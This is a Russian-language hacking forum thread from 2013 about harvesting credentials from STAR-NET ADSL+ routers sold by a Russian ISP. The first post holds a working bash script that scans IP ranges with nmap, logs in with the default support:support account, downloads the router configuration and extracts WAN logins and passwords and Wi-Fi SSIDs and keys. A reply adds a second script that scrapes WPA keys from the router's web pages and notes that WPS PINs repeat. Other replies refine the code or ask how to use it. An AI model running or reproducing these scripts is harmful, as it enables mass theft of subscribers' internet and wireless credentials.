ADSL+ Star-Net Router - WAN\WIFI account grabber

Discussion in 'Беспроводные технологии/Wi-Fi/Wardriving' started by 0x21dEE, 25 Jan 2013.

  1. 0x21dEE

    0x21dEE Member

    Joined:
    16 Jan 2011
    Messages:
    4
    Likes Received:
    5
    Reputations:
    0
    [Скрипт, bash] ADSL+ Star-Net Router - WAN\WIFI account grabber

    Скрипт написанный на bash, для автоматизированного выдерания логин\пароль от WAN и ssid\пасс от wifi с ADSL+ роутеров фирмы производителя STAR-NET продаваемым под брендом "DISLY интернет" интернет провайдером "Дальсвязь" ныне "Ростелеком".
    Кратко о работе скрипта:
    nmap ищет открытый 80 порт, wget залетает на роутер, проходит авторизацию, проходит до файла конфигузации роутера сливая его во временный файл который в последствии грепаем на наличие строк Username, Password, SSID, PreSharedKey,
    сохраняем найденное в файл grabb, катуем его выводя награбленное, удаляем временные файлы, прощаемся.
    Запуск: ./name_script.sh IP-255 или ./name_script.sh IP/mask кому как нравится.
    Code:
    #!/bin/bash
    
    IPRANGE="$1"
    REPORT="/root/tmp/scanlist"
    CONF="/root/tmp/wan"
    echo "Search..."
    nmap -n -sT -PN -p 80 --open -oG "$REPORT" "$IPRANGE" > /dev/null 2>&1 && {
        IPLIST="$(cat $REPORT | grep '80/open' | grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')"
        for IP in $IPLIST ; do
            [[ $(wget -q -S -T 2 -t 1 "http://$IP" 2>&1 | grep -ic 'ADSL2+') -gt 0 ]] && 
    		{
                [[ $(wget -q -S -T 2 -t 1 --http-user=support --http-password=support -O $CONF "http://$IP/backupsettings.conf" 2>&1 | grep -ic '200 OK') -gt 0 ]] &&
    			{
                    USERNAME=$(cat $CONF | grep -o '<Username>.*</Username>' | grep -v '<Username>(null)</Username>')
                    PASSWORD=$(cat $CONF | grep -o '<Password>.*</Password>' | grep -v '<Password>(null)</Password>')
    				WIFISSID=$(cat $CONF | grep -o '<SSID>.*</SSID>' | grep -v '<SSID>WI-FI_WLAN1</SSID>' | grep -v '<SSID>WI-FI_WLAN2</SSID>' | grep -v '<SSID>WI-FI_WLAN3</SSID>')
    				WIFIPASS=$(cat $CONF | grep -o '<PreSharedKey>.*</PreSharedKey>' | grep -v '<PreSharedKey>star-net</PreSharedKey>')
                    echo "$IP $USERNAME$PASSWORD $WIFISSID$WIFIPASS" >> grabb
    				
                }
            }
        done
    }
    echo "Output..."
    cat "grabb"
    rm -f $CONF
    rm -f $REPORT
    exit 0
    
    [​IMG]
     
    #1 0x21dEE, 25 Jan 2013
    Last edited: 25 Jan 2013
  2. zuriuslev

    zuriuslev Member

    Joined:
    24 Dec 2011
    Messages:
    142
    Likes Received:
    19
    Reputations:
    20
    Прикольно, что пароли находятся в файле backupsettings.conf :D

    А в самом скрипте можно много лишних пайпов (|) убрать

    WIFISSID=$(cat ...
    Зачем ? В grep-е указать имя файла

    кучу grep -v
    можно заменить одним - grep -v "<SSID>WI-FI_WLAN[1-3]</SSID>"
     
  3. infoseller

    infoseller Member

    Joined:
    17 Aug 2011
    Messages:
    136
    Likes Received:
    13
    Reputations:
    0
    Может лучше считывать переменную сразу nmap ..... | grep report | awk -F\ '{print $5}'; read переменная, и в цикл ее. Не надо ждать результатов. Более точно только завтра смогу опробовать.
     
  4. zuriuslev

    zuriuslev Member

    Joined:
    24 Dec 2011
    Messages:
    142
    Likes Received:
    19
    Reputations:
    20
    Если awk, то и grep никчему ...
    awk -F\ '/report/ {print $5}' ;)
     
    1 person likes this.
  5. baragoz

    baragoz New Member

    Joined:
    8 Dec 2011
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    Как же этим счастием воспользоваться? Если можно - поподробнее. Уже голова распухла от чтения. Или пендаля дайте, в какую сторону лететь?
     
    #5 baragoz, 15 Feb 2013
    Last edited: 15 Feb 2013
  6. jabberd

    jabberd Member

    Joined:
    3 May 2010
    Messages:
    12
    Likes Received:
    7
    Reputations:
    0
    Я имел дело с этими роутерами, почему-то до ссылки /backupsettings.conf не додумался. А ведь всё гениальное — просто.

    У меня получилось вот так:
    Code:
    #!/bin/bash
    [ "$1" == "" ] && exit
    # Get WPA-PSK
    PSK=`wget -T 15 --tries=1 -O - http://support:support@$1/wlsecurity.html 2>/dev/null | grep 'var wpaPskKey =' | awk -F \' '{print $2}'`
    # There's no need to check anything else if we got no WPA-PSK (web admin could not respond)
    [ "$PSK" == "" ] && exit
    SSID=`wget -T 15 --tries=1 -O - http://support:support@$1/wlcfg.html 2>/dev/null | grep 'var ssid =' | awk -F \' '{print $2}'`
    BSSID=`wget -T 15 --tries=1 -O - http://support:support@$1/wlcfg.html 2>/dev/null | grep -A2 -w 'BSSID:' | tail -n 1 | tr -d ' ' | tr -d '\r'`
    echo "$SSID $BSSID $PSK"
    Ещё делал утилиту для облегчения управления девайсами по телнету:
    https://github.com/jabberd/starnet

    P.S. Во всех AR800, которые мне попадались, не отключается WPS, так что в одной из соседних тем есть достаточно инфы по работе с этим. Большинство WPS-PIN просто-напросто повторяются, так что нет необходимости выдёргивать из них SSID/BSSID/PSK.
     
    #6 jabberd, 19 Feb 2013
    Last edited: 19 Feb 2013
  7. baragoz

    baragoz New Member

    Joined:
    8 Dec 2011
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    Мля... Ну, все-таки. пните в нужном направлении. Или, забаните, как лола. Есть ОХУЕ,,, желание накакать в STAR-NET.
     
  8. dimonIv

    dimonIv New Member

    Joined:
    21 Feb 2013
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Можно ли реализовать данный скрипт в винде. Или какая прога для скачивания подойдет для этого чтоб была возможность загрузки страниц по диапазону ip. Вытащить из html сам смогу.
     
  9. VKAPI

    VKAPI Member

    Joined:
    25 Nov 2011
    Messages:
    142
    Likes Received:
    68
    Reputations:
    0
    а для ZTE или промсвязь прокатит ?